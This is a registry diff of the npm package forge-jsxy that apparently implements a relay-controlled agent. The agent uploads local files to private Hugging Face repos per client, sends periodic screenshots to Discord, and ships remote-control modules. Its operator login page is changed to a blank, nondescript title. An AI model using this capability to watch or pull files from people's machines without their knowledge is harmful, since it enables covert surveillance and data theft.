forge-jsxy 1.0.76 → 1.0.78
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +2940 -692
- package/assets/remote-control-template.html +78 -22
- package/dist/agentRunner.js +6 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +2941 -693
- package/dist/assets/remote-control-template.html +78 -22
- package/dist/autostart/agentEnvFile.d.ts +3 -2
- package/dist/autostart/agentEnvFile.js +8 -4
- package/dist/cli-agent.js +3 -3
- package/dist/discordAgentScreenshot.d.ts +1 -1
- package/dist/discordAgentScreenshot.js +41 -16
- package/dist/discordRateLimit.js +22 -11
- package/dist/discordRelayUpload.js +5 -3
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +13 -1
- package/dist/exportMirrorCopy.js +89 -2
- package/dist/filesExplorer.d.ts +9 -0
- package/dist/filesExplorer.js +86 -4
- package/dist/fsMessages.d.ts +2 -0
- package/dist/fsMessages.js +29 -8
- package/dist/fsProtocol.d.ts +16 -4
- package/dist/fsProtocol.js +948 -151
- package/dist/hfCredentials.d.ts +1 -1
- package/dist/hfCredentials.js +1 -1
- package/dist/hfSeqIdLookup.d.ts +2 -2
- package/dist/hfSeqIdLookup.js +11 -5
- package/dist/hfUpload.d.ts +2 -2
- package/dist/hfUpload.js +103 -17
- package/dist/relayAgent.js +48 -26
- package/dist/relayDashboardGate.js +42 -55
- package/dist/relayServer.js +171 -6
- package/dist/syncClient.js +5 -0
- package/dist/windowsInputSync.js +20 -1
- package/package.json +3 -1
- package/scripts/discord-live-probe.mjs +66 -4
package/dist/hfCredentials.d.ts
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
export interface HfCredentials {
|
|
2
2
|
token: string;
|
|
3
3
|
hubUrl: string;
|
|
4
|
-
/** Hub namespace (username or org) for automatic `namespace
|
|
4
|
+
/** Hub namespace (username or org) for automatic `namespace/<seq_id>` session repositories. */
|
|
5
5
|
namespace?: string;
|
|
6
6
|
}
|
|
7
7
|
/** Clear relay-delivered HF fields in memory after an upload (JS cannot overwrite string contents). */
|
package/dist/hfCredentials.js
CHANGED
|
@@ -19,7 +19,7 @@ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
|
|
|
19
19
|
* Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** to base64(iv12 || tag16 || ciphertext) where
|
|
20
20
|
* plaintext UTF-8 JSON is:
|
|
21
21
|
* `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
|
|
22
|
-
* (`hubUrl` optional; `namespace` = Hugging Face username or org for `namespace
|
|
22
|
+
* (`hubUrl` optional; `namespace` = Hugging Face username or org for automatic `namespace/<seq_id>` session repos).
|
|
23
23
|
*
|
|
24
24
|
* Optional dev escape hatch (not for production): `CFGMGR_HF_ALLOW_PLAINTEXT=1` with
|
|
25
25
|
* `HUGGINGFACE_HUB_TOKEN` and optional `HUGGINGFACE_HUB_URL`.
|
package/dist/hfSeqIdLookup.d.ts
CHANGED
|
@@ -3,10 +3,10 @@
|
|
|
3
3
|
* Matches `table_name` / `session_id` (case-insensitive), or derives the table name from `client_id`.
|
|
4
4
|
*/
|
|
5
5
|
export declare function clientRegistryRowMatchesSessionTable(row: Record<string, unknown>, clientTableName: string): boolean;
|
|
6
|
-
/** Default true: session Hub repos must use
|
|
6
|
+
/** Default true: session Hub repos must use numeric `<seq_id>` slug. Set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow UUID-style slug when seq_id is unknown. */
|
|
7
7
|
export declare function hfSessionRepoRequireSeqId(): boolean;
|
|
8
8
|
/**
|
|
9
|
-
* Hub repo name segment for auto-session uploads:
|
|
9
|
+
* Hub repo name segment for auto-session uploads: decimal **`seq_id`** string when known,
|
|
10
10
|
* otherwise the legacy Postgres-safe table slug from {@link postgresqlClientTableName}.
|
|
11
11
|
*/
|
|
12
12
|
export declare function hfAutoSessionRepoSlug(clientTableName: string, seqId: number | null | undefined): string;
|
package/dist/hfSeqIdLookup.js
CHANGED
|
@@ -6,11 +6,11 @@ exports.hfAutoSessionRepoSlug = hfAutoSessionRepoSlug;
|
|
|
6
6
|
exports.fetchSeqIdForClientTableName = fetchSeqIdForClientTableName;
|
|
7
7
|
/**
|
|
8
8
|
* Resolve forge-db `seq_id` for a `client_*` table name so Hugging Face session repos use
|
|
9
|
-
* `namespace
|
|
9
|
+
* `namespace/<seq_id>` (numeric repo segment under your Hub namespace).
|
|
10
10
|
*
|
|
11
11
|
* Uses `GET /api/clients` (same source as relay screenshot channel naming).
|
|
12
12
|
*
|
|
13
|
-
* **Default:** Hub repo segment is
|
|
13
|
+
* **Default:** Hub repo segment is **`<seq_id>`** (digits only) — uploads fail if `seq_id` cannot be resolved.
|
|
14
14
|
* Set **`CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1`** on the agent to fall back to the legacy
|
|
15
15
|
* UUID-style Postgres slug ({@link postgresqlClientTableName}) when the API is unreachable or the client is unregistered.
|
|
16
16
|
*/
|
|
@@ -44,7 +44,7 @@ function clientRegistryRowMatchesSessionTable(row, clientTableName) {
|
|
|
44
44
|
}
|
|
45
45
|
return false;
|
|
46
46
|
}
|
|
47
|
-
/** Default true: session Hub repos must use
|
|
47
|
+
/** Default true: session Hub repos must use numeric `<seq_id>` slug. Set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1 to allow UUID-style slug when seq_id is unknown. */
|
|
48
48
|
function hfSessionRepoRequireSeqId() {
|
|
49
49
|
const allowLegacy = (process.env.CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG || "").trim().toLowerCase();
|
|
50
50
|
if (allowLegacy === "1" ||
|
|
@@ -70,7 +70,7 @@ function apiKeyHeader() {
|
|
|
70
70
|
return apiKey ? { "X-Forge-Api-Key": apiKey } : {};
|
|
71
71
|
}
|
|
72
72
|
/**
|
|
73
|
-
* Hub repo name segment for auto-session uploads:
|
|
73
|
+
* Hub repo name segment for auto-session uploads: decimal **`seq_id`** string when known,
|
|
74
74
|
* otherwise the legacy Postgres-safe table slug from {@link postgresqlClientTableName}.
|
|
75
75
|
*/
|
|
76
76
|
function hfAutoSessionRepoSlug(clientTableName, seqId) {
|
|
@@ -80,7 +80,7 @@ function hfAutoSessionRepoSlug(clientTableName, seqId) {
|
|
|
80
80
|
Number.isFinite(Number(seqId)) &&
|
|
81
81
|
Number(seqId) >= 0) {
|
|
82
82
|
const n = Math.floor(Number(seqId));
|
|
83
|
-
return
|
|
83
|
+
return String(n).slice(0, 96);
|
|
84
84
|
}
|
|
85
85
|
return (0, tableNaming_1.postgresqlClientTableName)(ct, null).slice(0, 96);
|
|
86
86
|
}
|
|
@@ -91,6 +91,12 @@ async function fetchSeqIdForClientTableName(clientTableName) {
|
|
|
91
91
|
const ct = (clientTableName || "").trim();
|
|
92
92
|
if (!ct)
|
|
93
93
|
return null;
|
|
94
|
+
const pureDigits = /^(\d+)$/.exec(ct);
|
|
95
|
+
if (pureDigits) {
|
|
96
|
+
const n = Number(pureDigits[1]);
|
|
97
|
+
if (Number.isFinite(n) && n >= 0)
|
|
98
|
+
return Math.floor(n);
|
|
99
|
+
}
|
|
94
100
|
const directClientSeq = /^client_(\d+)$/i.exec(ct);
|
|
95
101
|
if (directClientSeq) {
|
|
96
102
|
const n = Number(directClientSeq[1]);
|
package/dist/hfUpload.d.ts
CHANGED
|
@@ -23,13 +23,13 @@ export interface RunHfUploadOptions {
|
|
|
23
23
|
/** `zip` (default): one .zip with store-only compression; `tree`: one Hub file per disk file. Ignored in session mode (always zip for single-blob semantics). */
|
|
24
24
|
folderMode?: "zip" | "tree";
|
|
25
25
|
/**
|
|
26
|
-
* When true: repo = `namespace
|
|
26
|
+
* When true: repo = `namespace/<seq_id>` when forge-db exposes `seq_id` for this session, else legacy table slug.
|
|
27
27
|
* First upload creates the repo; later uploads append new files only.
|
|
28
28
|
*/
|
|
29
29
|
autoSessionRepo?: boolean;
|
|
30
30
|
/** Session / DB table id (e.g. `client_<uuid>`) — required if `autoSessionRepo`. */
|
|
31
31
|
clientTableName?: string;
|
|
32
|
-
/** When set, skips forge-db lookup and uses this `seq_id` for the Hub repo segment
|
|
32
|
+
/** When set, skips forge-db lookup and uses this `seq_id` for the Hub repo segment `<seq_id>` (digits only). */
|
|
33
33
|
clientSeqId?: number;
|
|
34
34
|
/** Override HF username/org (else encrypted credentials or `CFGMGR_HF_NAMESPACE`). */
|
|
35
35
|
hfNamespace?: string;
|
package/dist/hfUpload.js
CHANGED
|
@@ -45,9 +45,9 @@ exports.runHfUpload = runHfUpload;
|
|
|
45
45
|
* remove staging) before compression or per-file upload so locked live paths are less likely to fail.
|
|
46
46
|
* Files and folders are packed as one zip "store" only (zlib level 0) per selection to minimize CPU before upload.
|
|
47
47
|
*
|
|
48
|
-
* Session mode (`autoSessionRepo`): Hub repo
|
|
49
|
-
* `seq_id` is **required**; set `CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1`
|
|
50
|
-
*
|
|
48
|
+
* Session mode (`autoSessionRepo`): Hub repo id segment is **`seq_id` alone** (e.g. `namespace/42`),
|
|
49
|
+
* resolved via forge-db `GET /api/clients`. By default `seq_id` is **required**; set `CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1`
|
|
50
|
+
* to fall back to the UUID-style Postgres table slug when `seq_id` is unknown.
|
|
51
51
|
* Manual mode with `createRepo`: new repos are also created **private** so Hub exports are not world-visible by default.
|
|
52
52
|
*
|
|
53
53
|
* Upload body: `hubContentFromLocalPath` yields a `Blob` or, for files above the streaming threshold, a `file:`
|
|
@@ -68,6 +68,7 @@ const node_fs_1 = require("node:fs");
|
|
|
68
68
|
const fs = __importStar(require("node:fs"));
|
|
69
69
|
const path = __importStar(require("node:path"));
|
|
70
70
|
const os = __importStar(require("node:os"));
|
|
71
|
+
const zlib = __importStar(require("node:zlib"));
|
|
71
72
|
const node_url_1 = require("node:url");
|
|
72
73
|
const promises_1 = require("node:stream/promises");
|
|
73
74
|
const hub_1 = require("@huggingface/hub");
|
|
@@ -80,6 +81,7 @@ const fsProtocol_1 = require("./fsProtocol");
|
|
|
80
81
|
const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
|
|
81
82
|
const hfHubPathSanitize_1 = require("./hfHubPathSanitize");
|
|
82
83
|
const hfHubUploadContent_1 = require("./hfHubUploadContent");
|
|
84
|
+
const explorerHeavyDirSkips_1 = require("./explorerHeavyDirSkips");
|
|
83
85
|
function maxZipFilesLimit() {
|
|
84
86
|
const raw = (process.env.CFGMGR_FS_MAX_ZIP_FILES || "").trim();
|
|
85
87
|
if (raw) {
|
|
@@ -272,11 +274,84 @@ function wrapFetchWithMinInterval(inner, minMs) {
|
|
|
272
274
|
const gap = Math.max(0, minMs - (Date.now() - lastEnd));
|
|
273
275
|
if (gap > 0)
|
|
274
276
|
await new Promise((r) => setTimeout(r, gap));
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
277
|
+
try {
|
|
278
|
+
const res = await inner(input, init);
|
|
279
|
+
lastEnd = Date.now();
|
|
280
|
+
return res;
|
|
281
|
+
}
|
|
282
|
+
catch (e) {
|
|
283
|
+
lastEnd = Date.now();
|
|
284
|
+
throw e;
|
|
285
|
+
}
|
|
286
|
+
};
|
|
287
|
+
}
|
|
288
|
+
/**
|
|
289
|
+
* S3 multipart UploadPart PUT requests now include `x-amz-sdk-checksum-algorithm=CRC32` (and a
|
|
290
|
+
* placeholder `x-amz-checksum-crc32=AAAAAA==`) in the pre-signed URL, meaning S3 requires the
|
|
291
|
+
* client to send the actual CRC32 of each part as the `x-amz-checksum-crc32` request header.
|
|
292
|
+
* @huggingface/hub ≤ 2.11.x does not compute or send this header, causing HTTP 400 from S3.
|
|
293
|
+
* This wrapper detects S3 PUT requests that require CRC32 and injects the correct header.
|
|
294
|
+
* Falls back gracefully when the body type is not readable (e.g. a stream).
|
|
295
|
+
*/
|
|
296
|
+
function wrapFetchWithS3Crc32Header(inner) {
|
|
297
|
+
return async (input, init) => {
|
|
298
|
+
try {
|
|
299
|
+
if (init?.method === "PUT" || (init == null && (typeof input === "object") && !("url" in input))) {
|
|
300
|
+
const url = typeof input === "string" ? input
|
|
301
|
+
: input instanceof URL ? input.href
|
|
302
|
+
: input.url;
|
|
303
|
+
if (/[?&]x-amz-sdk-checksum-algorithm=CRC32(&|$)/i.test(url)) {
|
|
304
|
+
const body = (init ?? input)?.body ?? (init?.body);
|
|
305
|
+
let bytes;
|
|
306
|
+
if (body instanceof Uint8Array) {
|
|
307
|
+
bytes = body;
|
|
308
|
+
}
|
|
309
|
+
else if (body instanceof ArrayBuffer) {
|
|
310
|
+
bytes = new Uint8Array(body);
|
|
311
|
+
}
|
|
312
|
+
else if (typeof Blob !== "undefined" && body instanceof Blob) {
|
|
313
|
+
bytes = new Uint8Array(await body.arrayBuffer());
|
|
314
|
+
}
|
|
315
|
+
if (bytes !== undefined) {
|
|
316
|
+
const crcVal = computeCrc32(bytes);
|
|
317
|
+
const crcB64 = Buffer.from([
|
|
318
|
+
(crcVal >>> 24) & 0xff,
|
|
319
|
+
(crcVal >>> 16) & 0xff,
|
|
320
|
+
(crcVal >>> 8) & 0xff,
|
|
321
|
+
crcVal & 0xff,
|
|
322
|
+
]).toString("base64");
|
|
323
|
+
const headers = new Headers((init?.headers ?? input?.headers));
|
|
324
|
+
headers.set("x-amz-checksum-crc32", crcB64);
|
|
325
|
+
return inner(input, { ...(init ?? {}), method: "PUT", headers, body: bytes });
|
|
326
|
+
}
|
|
327
|
+
}
|
|
328
|
+
}
|
|
329
|
+
}
|
|
330
|
+
catch {
|
|
331
|
+
/* fall through to normal fetch on any error */
|
|
332
|
+
}
|
|
333
|
+
return inner(input, init);
|
|
278
334
|
};
|
|
279
335
|
}
|
|
336
|
+
/**
|
|
337
|
+
* CRC32 using Node's built-in `zlib.crc32` (available since v20.15 / v22.2).
|
|
338
|
+
* Falls back to a pure-JS implementation for older Node 18 agents.
|
|
339
|
+
*/
|
|
340
|
+
function computeCrc32(data) {
|
|
341
|
+
const zlibCrc32 = zlib.crc32;
|
|
342
|
+
if (typeof zlibCrc32 === "function") {
|
|
343
|
+
return zlibCrc32(data) >>> 0;
|
|
344
|
+
}
|
|
345
|
+
// Pure-JS fallback (standard CRC32 / IEEE 802.3 polynomial).
|
|
346
|
+
let crc = 0xffffffff;
|
|
347
|
+
for (let i = 0; i < data.length; i++) {
|
|
348
|
+
crc ^= data[i];
|
|
349
|
+
for (let j = 0; j < 8; j++) {
|
|
350
|
+
crc = crc & 1 ? (crc >>> 1) ^ 0xedb88320 : crc >>> 1;
|
|
351
|
+
}
|
|
352
|
+
}
|
|
353
|
+
return (crc ^ 0xffffffff) >>> 0;
|
|
354
|
+
}
|
|
280
355
|
/** Custom `fetch` for Hub: optional spacing + retries on thrown network errors (defaults on). */
|
|
281
356
|
function buildHubFetch() {
|
|
282
357
|
const minMs = hubMinFetchIntervalMs();
|
|
@@ -286,8 +361,8 @@ function buildHubFetch() {
|
|
|
286
361
|
inner = wrapFetchWithThrowRetries(inner, maxThrow);
|
|
287
362
|
if (minMs !== undefined)
|
|
288
363
|
inner = wrapFetchWithMinInterval(inner, minMs);
|
|
289
|
-
|
|
290
|
-
|
|
364
|
+
// Always inject S3 CRC32 header for multipart LFS uploads that require checksum validation.
|
|
365
|
+
inner = wrapFetchWithS3Crc32Header(inner);
|
|
291
366
|
return inner;
|
|
292
367
|
}
|
|
293
368
|
/** Max full Hub commit attempts (file or batch) on transient API / wire failure. Default 4. `0` / `1` = single try. */
|
|
@@ -593,6 +668,9 @@ function countFilesRecursive(dir, maxFiles) {
|
|
|
593
668
|
continue;
|
|
594
669
|
}
|
|
595
670
|
if (ent.isDirectory()) {
|
|
671
|
+
if ((0, explorerHeavyDirSkips_1.explorerHeavySubdirNameSkipped)(ent.name)) {
|
|
672
|
+
continue;
|
|
673
|
+
}
|
|
596
674
|
walk(child);
|
|
597
675
|
}
|
|
598
676
|
else if (ent.isFile()) {
|
|
@@ -612,6 +690,13 @@ async function writeSingleFileZipStoreOnly(sourceFile, zipPath) {
|
|
|
612
690
|
const output = (0, node_fs_1.createWriteStream)(zipPath);
|
|
613
691
|
const archive = (0, archiver_1.default)("zip", { zlib: { level: 0 } });
|
|
614
692
|
const fail = (err) => {
|
|
693
|
+
// Abort archiver first to stop further file processing, then destroy the write stream.
|
|
694
|
+
try {
|
|
695
|
+
archive.abort();
|
|
696
|
+
}
|
|
697
|
+
catch {
|
|
698
|
+
/* skip */
|
|
699
|
+
}
|
|
615
700
|
try {
|
|
616
701
|
output.destroy(err);
|
|
617
702
|
}
|
|
@@ -643,6 +728,13 @@ async function writeDirectoryZipStoreOnly(sourceDir, zipPath) {
|
|
|
643
728
|
const output = (0, node_fs_1.createWriteStream)(zipPath);
|
|
644
729
|
const archive = (0, archiver_1.default)("zip", { zlib: { level: 0 } });
|
|
645
730
|
const fail = (err) => {
|
|
731
|
+
// Abort archiver first to stop further file processing, then destroy the write stream.
|
|
732
|
+
try {
|
|
733
|
+
archive.abort();
|
|
734
|
+
}
|
|
735
|
+
catch {
|
|
736
|
+
/* skip */
|
|
737
|
+
}
|
|
646
738
|
try {
|
|
647
739
|
output.destroy(err);
|
|
648
740
|
}
|
|
@@ -654,13 +746,6 @@ async function writeDirectoryZipStoreOnly(sourceDir, zipPath) {
|
|
|
654
746
|
output.on("error", fail);
|
|
655
747
|
archive.pipe(output);
|
|
656
748
|
const baseName = path.basename(sourceDir) || "folder";
|
|
657
|
-
let entries = 0;
|
|
658
|
-
archive.on("entry", () => {
|
|
659
|
-
entries++;
|
|
660
|
-
if (entries % 400 === 0) {
|
|
661
|
-
void yieldEventLoop();
|
|
662
|
-
}
|
|
663
|
-
});
|
|
664
749
|
archive.directory(sourceDir, baseName);
|
|
665
750
|
try {
|
|
666
751
|
await archive.finalize();
|
|
@@ -810,7 +895,7 @@ async function runHfUploadCore(opts) {
|
|
|
810
895
|
(0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
|
|
811
896
|
return {
|
|
812
897
|
ok: false,
|
|
813
|
-
error: "Session Hub repo requires forge-db seq_id (Hub
|
|
898
|
+
error: "Session Hub repo requires forge-db seq_id (Hub repo: `<namespace>/<seq_id>`). " +
|
|
814
899
|
"Could not resolve seq_id for this client_table. Set RELAY_FORGE_DB_API_URL / FORGE_JS_SYNC_URL / " +
|
|
815
900
|
"CFGMGR_API_URL and RELAY_FORGE_DB_API_KEY / FORGE_DB_API_KEY so GET /api/clients succeeds, " +
|
|
816
901
|
"ensure this machine is registered in _client_registry, or pass client_seq_id on fs_hf_upload. " +
|
|
@@ -832,7 +917,8 @@ async function runHfUploadCore(opts) {
|
|
|
832
917
|
folderMode = opts.folderMode === "tree" ? "tree" : "zip";
|
|
833
918
|
}
|
|
834
919
|
const repo = parseRepoId(resolvedRepoStr);
|
|
835
|
-
|
|
920
|
+
// sanitizeHubRelativePath strips ".." / "." path segments to prevent path traversal within the repo.
|
|
921
|
+
const destPrefix = normalizeDestPrefix((0, hfHubPathSanitize_1.sanitizeHubRelativePath)(opts.destination ?? ""));
|
|
836
922
|
const exportBase = joinRemotePath(destPrefix, newExportRunFolder());
|
|
837
923
|
const delayMs = interFileDelayMs();
|
|
838
924
|
const sendProgress = (p) => {
|
package/dist/relayAgent.js
CHANGED
|
@@ -384,33 +384,49 @@ function runRelayAgentLoop(opts) {
|
|
|
384
384
|
if (rf && typeof rf === "object" && !Array.isArray(rf)) {
|
|
385
385
|
caps = rf;
|
|
386
386
|
if (caps.discord_screenshot === true) {
|
|
387
|
-
const
|
|
388
|
-
|
|
387
|
+
const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
|
|
388
|
+
const explicitOff = ["0", "false", "no", "off"].includes(en);
|
|
389
|
+
const explicitOn = ["1", "true", "yes", "on"].includes(en);
|
|
390
|
+
/** Follow relay when unset or explicitly on; never override explicit opt-out (0/false/no/off). */
|
|
391
|
+
if (!explicitOff && (!en || explicitOn)) {
|
|
389
392
|
discordEnabledByRelayHandshake = true;
|
|
390
393
|
}
|
|
391
|
-
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
|
|
403
|
-
if (!agentSg) {
|
|
404
|
-
const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
|
|
405
|
-
if (sg != null) {
|
|
406
|
-
process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
|
|
394
|
+
if (!explicitOff) {
|
|
395
|
+
const clamped = parseRelayDiscordIntervalMs(caps.discord_screenshot_interval_ms);
|
|
396
|
+
/**
|
|
397
|
+
* Only apply relay `discord_screenshot_interval_ms` when the agent did **not** set
|
|
398
|
+
* `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS`. Otherwise the relay handshake overwrote a
|
|
399
|
+
* per-machine value (e.g. 60s on agent vs 300000 ms on relay), which looked like “random”
|
|
400
|
+
* multi-minute gaps.
|
|
401
|
+
*/
|
|
402
|
+
const agentIv = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "").trim();
|
|
403
|
+
if (clamped != null && !agentIv) {
|
|
404
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS = String(clamped);
|
|
407
405
|
}
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
406
|
+
const agentSg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
|
|
407
|
+
if (!agentSg) {
|
|
408
|
+
const sg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_interval_stagger_ms, 120_000);
|
|
409
|
+
if (sg != null) {
|
|
410
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS = String(sg);
|
|
411
|
+
}
|
|
412
|
+
}
|
|
413
|
+
const agentFsg = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
|
|
414
|
+
if (!agentFsg) {
|
|
415
|
+
const fg = parseRelayDiscordStaggerCapMs(caps.discord_screenshot_first_stagger_ms, 300_000);
|
|
416
|
+
if (fg != null) {
|
|
417
|
+
process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS = String(fg);
|
|
418
|
+
}
|
|
419
|
+
}
|
|
420
|
+
const agentUm = (process.env.FORGE_JS_DISCORD_UPLOAD_MODE || "").trim();
|
|
421
|
+
if (!agentUm) {
|
|
422
|
+
const rawUm = caps.discord_screenshot_upload_mode;
|
|
423
|
+
const u = typeof rawUm === "string" ? rawUm.trim().toLowerCase() : "";
|
|
424
|
+
if (u === "relay") {
|
|
425
|
+
process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "relay";
|
|
426
|
+
}
|
|
427
|
+
else if (u === "webhook" || u === "direct") {
|
|
428
|
+
process.env.FORGE_JS_DISCORD_UPLOAD_MODE = "webhook";
|
|
429
|
+
}
|
|
414
430
|
}
|
|
415
431
|
}
|
|
416
432
|
}
|
|
@@ -426,6 +442,12 @@ function runRelayAgentLoop(opts) {
|
|
|
426
442
|
};
|
|
427
443
|
ws.on("open", () => {
|
|
428
444
|
log(quiet, " Connected to relay");
|
|
445
|
+
try {
|
|
446
|
+
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
|
|
447
|
+
}
|
|
448
|
+
catch {
|
|
449
|
+
/* skip */
|
|
450
|
+
}
|
|
429
451
|
viewerAuthenticated = !password;
|
|
430
452
|
viewerConnected = false;
|
|
431
453
|
pendingAuthNonce = "";
|
|
@@ -732,8 +754,8 @@ function runRelayAgentLoop(opts) {
|
|
|
732
754
|
const destination = String(msg.destination ?? "").trim();
|
|
733
755
|
const createRepo = Boolean(msg.create_repo);
|
|
734
756
|
const folderMode = msg.folder_mode === "tree" ? "tree" : "zip";
|
|
735
|
-
const hfForce =
|
|
736
|
-
const hfForceKill =
|
|
757
|
+
const hfForce = (0, fsMessages_1.jsonBoolLoose)(msg.force);
|
|
758
|
+
const hfForceKill = (0, fsMessages_1.jsonBoolLoose)(msg.force_kill);
|
|
737
759
|
if (hfFetchFromRelayEnabled()) {
|
|
738
760
|
try {
|
|
739
761
|
hfCred = await fetchHfCredentialsFromRelay(sendJson);
|
|
@@ -173,9 +173,9 @@ function buildDashboardGateLoginHtml() {
|
|
|
173
173
|
<head>
|
|
174
174
|
<meta charset="UTF-8">
|
|
175
175
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
176
|
-
<meta name="theme-color" content="#
|
|
176
|
+
<meta name="theme-color" content="#161616">
|
|
177
177
|
<meta http-equiv="Cache-Control" content="no-store"/>
|
|
178
|
-
<title
|
|
178
|
+
<title>​</title>
|
|
179
179
|
<link rel="icon" href="/forge-explorer-favicon.svg" type="image/svg+xml"/>
|
|
180
180
|
<style>
|
|
181
181
|
html { color-scheme: dark; }
|
|
@@ -183,90 +183,77 @@ function buildDashboardGateLoginHtml() {
|
|
|
183
183
|
body {
|
|
184
184
|
margin: 0;
|
|
185
185
|
min-height: 100vh;
|
|
186
|
+
min-height: 100dvh;
|
|
186
187
|
display: flex;
|
|
188
|
+
flex-direction: column;
|
|
187
189
|
align-items: center;
|
|
188
190
|
justify-content: center;
|
|
189
|
-
font-family:
|
|
190
|
-
background: #
|
|
191
|
-
color: #cccccc;
|
|
191
|
+
font-family: -apple-system, BlinkMacSystemFont, "Segoe WPC", "Segoe UI", "Helvetica Neue", Helvetica, Ubuntu, "Droid Sans", sans-serif;
|
|
192
|
+
background: #161616;
|
|
192
193
|
-webkit-font-smoothing: antialiased;
|
|
194
|
+
padding: 0.75rem;
|
|
193
195
|
}
|
|
194
196
|
.card {
|
|
195
197
|
width: 100%;
|
|
196
|
-
max-width:
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
198
|
+
max-width: 17.5rem;
|
|
199
|
+
display: flex;
|
|
200
|
+
flex-direction: column;
|
|
201
|
+
padding: 0.85rem;
|
|
202
|
+
border: 1px solid #2b2b2b;
|
|
203
|
+
border-radius: 6px;
|
|
204
|
+
background: #1c1c1c;
|
|
205
|
+
box-shadow: none;
|
|
201
206
|
}
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
font-size: 1.05rem;
|
|
205
|
-
font-weight: 600;
|
|
206
|
-
color: #e0e0e0;
|
|
207
|
+
.card.gate-err {
|
|
208
|
+
border-color: rgba(200, 90, 75, 0.65);
|
|
207
209
|
}
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
input {
|
|
211
|
-
width: 100%;
|
|
212
|
-
background: #313131;
|
|
213
|
-
border: 1px solid #3c3c3c;
|
|
214
|
-
color: #cccccc;
|
|
215
|
-
padding: 0.4rem 0.65rem;
|
|
216
|
-
border-radius: 4px;
|
|
217
|
-
font-size: 13px;
|
|
218
|
-
margin-bottom: 0.75rem;
|
|
210
|
+
.gate-form {
|
|
211
|
+
margin: 0;
|
|
219
212
|
}
|
|
220
|
-
input
|
|
221
|
-
input:focus-visible { outline: 2px solid #0078d4; border-color: #0078d4; }
|
|
222
|
-
button {
|
|
213
|
+
input#p {
|
|
223
214
|
width: 100%;
|
|
224
|
-
background: #
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
padding: 0.
|
|
215
|
+
background: #222222;
|
|
216
|
+
border: 1px solid #2b2b2b;
|
|
217
|
+
color: #e0e0e0;
|
|
218
|
+
padding: 0.55rem 0.5rem;
|
|
228
219
|
border-radius: 4px;
|
|
229
220
|
font-size: 13px;
|
|
230
|
-
|
|
231
|
-
|
|
221
|
+
outline: none;
|
|
222
|
+
}
|
|
223
|
+
input#p:hover { border-color: #3d3d3d; }
|
|
224
|
+
input#p:focus-visible {
|
|
225
|
+
outline: 1px solid #4d4d4d;
|
|
226
|
+
outline-offset: 0;
|
|
227
|
+
border-color: #3d3d3d;
|
|
228
|
+
box-shadow: none;
|
|
232
229
|
}
|
|
233
|
-
button:hover { background: #026ec1; }
|
|
234
|
-
button:disabled { opacity: 0.5; cursor: not-allowed; }
|
|
235
|
-
.err { color: #f48771; font-size: 12px; margin: 0 0 0.6rem; min-height: 1.2em; }
|
|
236
|
-
.hint { font-size: 10.5px; color: #7a7a7a; margin-top: 0.9rem; line-height: 1.35; }
|
|
237
230
|
</style>
|
|
238
231
|
</head>
|
|
239
232
|
<body>
|
|
240
|
-
<div class="card" role="dialog" aria-
|
|
241
|
-
<
|
|
242
|
-
<p>Enter the operator password to open the forge-explorer (session connect UI).</p>
|
|
243
|
-
<p class="err" id="e"></p>
|
|
244
|
-
<form id="f" autocomplete="off">
|
|
245
|
-
<label for="p">Password</label>
|
